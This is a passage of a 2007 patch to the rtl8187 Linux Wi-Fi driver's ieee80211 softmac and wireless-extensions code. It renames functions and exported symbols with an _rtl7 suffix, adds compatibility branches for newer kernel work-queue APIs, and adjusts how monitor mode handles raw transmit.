del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2125,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2138,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2169,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2179,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2214,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2236,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2246,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2266,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2278,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2302,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2335,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2386,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2403,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2442,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2456,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2477,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2560,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2587,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2620,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2632,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-04-23 00:09:00.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-04-23 00:09:00.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; 